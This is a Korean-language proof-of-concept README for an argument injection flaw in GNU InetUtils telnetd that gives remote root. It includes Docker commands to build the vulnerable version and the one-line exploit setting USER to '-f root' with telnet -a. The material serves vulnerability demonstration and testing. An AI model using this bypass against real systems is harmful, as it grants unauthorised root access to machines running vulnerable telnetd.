
GNU InetUtils telnetd의 취약점으로 원격 루트 액세스 가능
최근 GNU InetUtils telnetd에서 발견된 argument injection 취약점으로 인해 공격자가 USER 환경 변수를 "-f root" 값으로 설정하여 인증을 우회할 수 있습니다. 그 결과, 원격의 인증되지 않은 공격자는 취약한 telnetd 서비스를 실행 중인 시스템에 접근하여 root 권한으로 권한을 상승시킬 수 있습니다. 이 결함이 성공적으로 악용되면 공격자는 민감한 정보에 접근하고, 시스템 설정을 변경하며, 임의의 명령을 실행할 수 있어 시스템 전체가 완전히 손상될 수 있습니다.
| CVSS 세부 정보 | CNA (MITRE) |
|---|
| 기본 점수 | 9.8 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공격 경로 | 네트워크 (Network) |
| 공격 복잡성 | 낮음 (Low) |
| 필요한 권한 | 없음 (None) |
| 사용자 상호작용 | 없음 (None) |
| 범위 | 변경되지 않음 (Unchanged) |
| 기밀성 영향 | 높음 (High) |
| 무결성 영향 | 높음 (High) |
| 가용성 영향 | 높음 (High) |
| CVSSv3 버전 | 3.1 |
우리는 이 취약점을 만든 코드 변경(62번째 줄)을 보여주는 2015년의 아래 커밋에 접근할 수 있었습니다.
이 readme의 목적은 이 CVE를 생성한 모든 단계가 아닌, 익스플로잇의 실행만을 보여주는 것입니다. 그러나 의도는 %U 자리 표시자를 USER 환경 변수에서 가져온 값으로 대체하는 것입니다. 이 특정 환경 변수는 사용자가 제어할 수 있으며 Telnet 프로토콜을 통해 조작될 수 있습니다 🔥 .
이 테스트를 위해 Docker Hub의 이미지를 사용하여 취약한 버전의 InetUtils가 포함된 2개의 컨테이너를 생성했습니다.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
아래 페이로드를 사용하여 USER 변수를 교체하고 인증 시스템을 우회합니다.
USER="-f root" telnet -a 172.17.0.3
inetutils 버전 확인
hostname --version
telnetd --version
다음에 또 만나요 :wink: